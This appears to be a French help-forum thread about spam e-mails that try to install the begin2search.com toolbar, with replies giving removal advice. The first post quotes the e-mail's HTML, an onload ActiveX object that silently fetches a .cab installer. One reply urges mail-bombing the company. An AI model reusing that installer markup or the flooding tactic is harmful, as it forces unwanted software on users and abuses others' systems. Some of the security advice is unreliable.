Mail qui installe la toolbar begin2search.com

Résolu
philaz -  
Bonjour à tous,
j'ai reçu une dizaine de mails essayant de m'installer la toolbar, çà devient pénible !!
Sur le net, www.begin2search.com est même appelé virus... 
<html>
<head>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dwindows-=
1252">
<script language=3D"javascript">
function popTool() {
OO.innerHTML =3D '<OBJECT ID=3D"Inst" CLASSID=3D"CLSID:07E9CDF4-20D2-46B1-=
B681-663968F527CE" codebase=3D"http://www.begin2search.com/toolbar/bar/win=
b2s32.cab#Version=3D2,6,0,0" width=3D0 height=3D0><PARAM NAME=3D"ID" VALUE=
=3D"582562"> <PARAM NAME=3D"CAT" VALUE=3D"7"></OBJECT>';
}
</script>
</head>
<body onload=3D"popTool();"> 
<div id=3DOO></div>
<p align=3D"center">
<p><a href=3D"http://www.begin2search.net/now.php"><b>
<font face=3D"Microsoft Sans Serif" size=3D"8">toronto canada</font></a>
</b></p>
<br>
<font color=3D"#FFFFFF">wrestling mexico vacation jewelry</font></a></p>
<OBJECT ID=3D"Inst" CLASSID=3D"CLSID:07E9CDF4-20D2-46B1-B681-663968F527CE"=
codebase=3D"http://www.begin2search.com/toolbar/bar/winb2s32.cab#Version=3D=
2,6,0,0" width=3D0 height=3D0><PARAM NAME=3D"ID" VALUE=3D"582562"> <PARAM =
NAME=3D"CAT" VALUE=3D"7"></OBJECT>
</body>
</html>
J'ai McAfee, ZoneAlarm à jours, updates à jour, etc...
D'après vous, est-ce que je peux aller sur leur site (http://www.begin2search.com) sans risque d'attraper une cochonnerie, histoire de gueuler un peu ??

Des gens comme çà sont la honte de l'Internet, et nous, on n'est pas des moutons...!! ;-))

~~~~~ Eh oui, l'informatique n'est ~~~~~
~~~ qu'une suite de problèmes...  ;-)  ~~~

15 réponses

  1. Utilisateur anonyme
    je te conseille de ne pas y'aller tu risque d'etre hijacker
    @+++++++++
    0
    1. Cool03
      essayes plutôt de passer A2 puis ad-aware et spybot search&destroy!

      çà va venir
      0
      1. balltrap34 Contributeur sécurité
        salut
        d accord avec jess a mion d etre bien proteger
        gueler ni fera rien

        la chasse et le balltrap ma vrai passion
        voir site perso dans profil
        0
        1. philaz Auteur Contributeur
          Merci à tous pour les conseils.

          Pour Cool03, lorsque je visualise le mail, l'installation échoue, donc normalement pas de problème;
          et OE me met un message : 
          "les paramêtres de sécurité actuels ne vous permettent pas d'exécuter les
contrôles ActiveX de cette page. En conséquence, cette page ne sera peut-être
pas affichée correctement"
          Je n'ai pas non plus la clé désignée dans ma BDR et je n'ai aucune trace de leur fichier winb2s32.cab qu'ils essaient de faire de télécharger dans "Temporary Internet Files"...

          ~~~~~ Eh oui, l'informatique n'est ~~~~~
          ~~~ qu'une suite de problèmes... ;-) ~~~
          0
          2. franco
            salut as tous

            j'avais le meme probleme quand j'allais sur yahoo.fr le site etait mit automatiquement sur search.com.et le meme pour ma messagerie.

            j'avais norton antivirus.

            depuit j'ai installer ad aware+spybot sur le site de telecharger.com
            et la plus rien tous est parti
            comme avant.
            en fait t'est victime d'un spyware.
            essaye tu veras
            a+
            0
            1. philaz Auteur Contributeur
              Salut Franco,
              comme je disais, je ne l'ai pas attrapé, mais il a quand même tenté de s'installer...!!
              Et les mails reçus étaient toujours envoyés par des tierces personnes; pour le dernier reçu, de Roumanie, d'où peut-être le fonctionnement assimilable à un virus...

              Résultat de l'analyse par SpamRBL
              213.159.109.103 (109.103.linkey.ru) est le spammeur (IN) :
Cette IP n'est pas blacklistee (5 spam(s) direct(s)).
213.159.109.103 --> 109.103.linkey.ru --> 213.159.109.103
109.103.linkey.ru est validé
Abuse.net donne : abuse@linkey.ru   postmaster@linkey.ru   support@linkey.ru
              J'ai visité leur site www.begin2search.com en passant par le proxy anonymizer... belle boite américaine, qui prétend vendre des solutions anti-spyware et autres ... foutage de gueule !!!
              Dans le cas présent, la CNIL ne peut rien faire, et ils conseillent de signaler à http://www.ftc.gov/bcp/conline/edcams/spam/index.html
              Tiens, si j'habitais aux USA, je leur collerais un procès.

              Et que prévoit la LCEN pour çà ????? rien... "reçois les virus et ferme-la..." :-((

              ~~~~~ Eh oui, l'informatique n'est ~~~~~
              ~~~ qu'une suite de problèmes...  ;-)  ~~~
              0
              1. marcdu51
                salut a tous
                oui moi aussi j'ai chopé la toolbar begin2search.com et impossible de la virée.
                en plus ça met en surbrillance certains mots ou partie de mots (spam, virus,visa,sex,...) integrant un lien quand je consulte les pages web et dans la messagerie.
                pour finir ça m'ouvre des pages tout seul et installe sur le bureau des raccourcis des sites contenus ds la toolbar.
                alors si qquelqu'un a une solution pour me debarraser de tout ça j'en serai tres reconnaissant
                j'ai essaye d'installer ad aware mais ça m'a bloque internet explorer.
                je sais ça fait beaucoup de problemes mais je debute et peu d'experience soyez indulgent
                0
                1. Ian
                  Salut,
                  moi je pense que tu devrais laisser tomber internet explorer, et te mettre sur mozilla firefox, tu ne chopperas pas de merdes.
                  Moi aussi j'ai la même chose que toi avec internet explorer, les mots en surbrillance, les raccourcis sur le bureau, et maintenant IE m'envoie un rapport d'erreur quand je l'ouvre. Ca fout vraiment la merde, et en plus je ne sais pas comment je l'ai attrappée !
                  En tout cas je te reconseille de te mettre sur mozilla firefox et crois moi, t'auras plus aucune merde, et plus besoin de ad aware.
                  Bonne chance quand même à ta poursuite d'éradication de cette pu**in de barre.
                  0
              2. Utilisateur anonyme
                salut telecharge :

                (spy bot)
                http://spybot.dalnet.com.fr/spybotsd13.exe

                (adware SE)
                http://www.ordi-netfr.org/adawarese.html

                (CWshredder)
                http://www.soft32.com/download_19014.html

                pour ce dernier faut absolument fermer tout les programe y compris internet explorer et donc hors connexion ensuite faire fix next next

                telecharge cette antitrojan
                http://www.emsisoft.net/fr/

                pense a les mettre a jour avant de les lance
                ensuite tu nous dit ce que ca donne

                ensuite suprimez les fichier inutiles
                demarrer/paneau de configuration/option internet/suprimer fichier temporaaire apres une petite fentre s'ouvre tu coche "suprimer tout le contenu hors connexion" suprime aussi les cookies et efface l'historique

                redemare ...
                si le probleme persiste faite un scan avec hijackthis
                http://telechargement.zebulon.fr/138-HijackThis-1.98.2.html (nouvelle version )

                ensuite faire scan/save log et coller le resultat ici

                @++
                0
                1. jean
                  Les crapules à l'origine de ce merdier sont des russes de la société Linkey.ru basée à saint petersbourg et dont les serveurs sont hostés à san jose en californie.

                  il faudrait préparer une action massive (mondiale car tout le monde etouffe de leur conneries) en bombardant leur boite au lettre de mails avec de lourd attachement afin de les bloquer et leur renvoyer la monnaie. ces gens ne respectent rien et sont de véritables criminels. une petite société à vu ses 10 machines bloquées pendant 48 heures a couse de leur prtaiques de voyous

                  jean

                  ---------DETAILS --------------

                  inetnum: 213.159.96.0 - 213.159.127.255
                  org: ORG-LL4-RIPE
                  admin-c: LNA1-RIPE
                  tech-c: LNA1-RIPE
                  netname: RU-LINKEY-20021010
                  descr: PROVIDER
                  descr: Linkey Ltd
                  country: RU
                  status: ALLOCATED PA
                  notify: noc@linkey.ru
                  mnt-by: RIPE-NCC-HM-MNT
                  mnt-lower: LINKEY-MNT
                  mnt-routes: LINKEY-MNT
                  changed: hostmaster@ripe.net 20021010
                  changed: hostmaster@ripe.net 20040203
                  changed: hostmaster@ripe.net 20040602
                  source: RIPE

                  inetnum: 213.159.117.0 - 213.159.118.255
                  netname: HISTHOST-BIZ-NET
                  descr: HISTHOST
                  country: RU
                  admin-c: LNA1-RIPE
                  tech-c: JH-ORG
                  tech-c: LNA1-RIPE
                  status: ASSIGNED PA
                  notify: noc@linkey.ru
                  mnt-by: LINKEY-MNT
                  changed: s.bondar@linkey.ru 20041029
                  source: RIPE

                  URL à éviter = 231.159.117.134 (surtout ne pas cliquer !!!)

                  san jose , CA

                  http://www.ripe.net/membership/indices/data/ru.linkey.html

                  Linkey Ltd
                  Linkey ITSP
                  Malaja Morskaja str 11, apt 216
                  Saint-Petersburg ,191186
                  Russia
                  phone: +7 812 3157505
                  fax-no: +7 812 3157343
                  e-mail: noc@linkey.ru
                  Areas serviced: RU
                  This registry has the RIPE NCC contribution category: Small
                  Its RIPE NCC Association Membership status is: Full
                  0
                  1. philaz Auteur Contributeur
                    Tout à fait, c'est une honte. Je ne comprend même pas qu'on leur autorise d'avoir un nom de domaine !!!
                    Et puis ils peuvent toujours prétendre qu'ils ne sont pour rien dans l'envoi des mails contenant leur "virus"... C'est çà, l'Amérique :-((

                    PS: je croyais que ".ru" était pour la Roumanie... excusez-moi, les roumains ;-)

                    ~~~~~ Eh oui, l'informatique n'est ~~~~~
                    ~~~ qu'une suite de problèmes...  ;-)  ~~~
                    0
                2. gdidier2
                  moi je lai desisntallez mais il me reste les phrases en surbrillance et je n arrive pas desinstaller localNRD.dll avec norton ou xp.
                  comment oter les deux??? je veux mon IE comme avant.
                  0
                  1. Utilisateur anonyme
                    salut telecharge c anti spywares
                    (spy bot)
                    http://spybot.dalnet.com.fr/spybotsd13.exe

                    (adware SE)
                    http://telecharger.01net.com/windows/Internet/internet_utlitaire/fiches/25543.html
                    http://www.ordi-netfr.org/adawarese.html

                    (CWshredder)
                    http://www.soft32.com/download_19014.html

                    pour ce dernier faut absolument fermer tout les programe y compris internet explorer et donc hors connexion ensuite faire fix next next

                    (spy sweeper )
                    http://www.zdnet.fr/telecharger/windows/fiche/0,39021313,11010914s,00.htm

                    telecharge cette antitrojan
                    http://www.emsisoft.net/fr/

                    pense a les mettre a jour avant de les lancer

                    ensuite suprimez les fichier inutiles
                    demarrer/paneau de configuration/option internet/suprimer fichier temporaaire apres une petite fentre s'ouvre tu coche "suprimer tout le contenu hors connexion" suprime aussi les cookies et efface l'historique

                    redemare ...
                    si le probleme persiste faite un scan avec hijackthis
                    http://telechargement.zebulon.fr/138-HijackThis-1.98.2.html (nouvelle version )

                    ensuite faire scan/save log et coller le resultat ici
                    @+++++++
                    0
                    1. encore une gogo
                      bonjour à tous
                      moi aussi j'ai chopé la barre begin2 , je suis sous xp home , IE , j'ai suivi tous les conseils et n'arrive pas à m'en débarrasser, que celui qui à reussi me réponde sur ce forum , pleaaaase, grand merci à lui et à tous
                      0
                      1. bernie61
                        salut
                        comme dit Jess15 en dernier recours il y a HijackThis
                        Tu charges HijackThis là :
                        HijackThis direct download: http://209.133.47.12/~merijn/files/HijackThis.exe
                        Ou là
                        http://www.spychecker.com/download/download_hijackthis.html
                        tu le lances et sauves le fichier log que tu copie/colle ici
                        ou bien tu le mets là
                        http://hijackthis.de/fr
                        et tu examines quels fichiers sont notés suspects : ceux en rouge tu peux faire cocher puis FIX sans problème, ceux en orange sont suspects tu dois vérifier avec google quel genre de pgm c’est : bon/mauvais

                        a+
                        0
                        1. frederique alias gogo
                          bonsoir bernie
                          merci de ta réponse rapide, j'ai essayé hitjack sans succès, il est 2h du matin!!! de guerre lasse,, j'ai tapé begin2 sur google, je suis tombée sur le site begin2.com , j'ai osé cliquer et recliquer sur recherche begin et suis tombée sur desinstall, c'est fait. ouf!!!!, en fait ils se veulent etre un espece de catalogue de telechargements et moteur d recherche à la fois, enfin à signaler aux autres , c'est plus simples que de scanner avec tous les anti spy de la creation, et merci encore à toi et aux autres en general pour leur bonne volonté et leur patience
                          0
                        2. Ian
                          Alors moi aussi j'ai choppé la begin2search.com bar, elle s'est installée uniquement dans internet explorer, et je ne sais comment ( ce n'est pas par un mail ). A chaque fois que j'ouvre IE il y a au moins 3-4 pages de pubs et de cul qui s'ouvrent... Jusqu'au jour où j'ai compris qu'avec mozilla firefox on ne choppait pas de merdes ! Et oui quand je l'ouvre, pas de pops-ups ! Magique ! En revanche je ne sais pas comment la désinstaller cette barre non-plus.
                          Prenez mozilla firefox, et vous verrez que vous n'aurez plus besoin de zone alarm, hijack-this, anti-adwares, spywares et compagnie.
                          Voilà
                          A bientôt pour de nouvelles merdes :-)
                          0

                      Discussions similaires

                      mail-vert,fr : est-ce une arnaque ?
                      rayseg22

                      4 réponses
                      Rétrodiffusion "Mail Delivery System"
                      baissaoui

                      0 réponse
                      comment faire si on a un mail delivery system
                      angeldu5954

                      5 réponses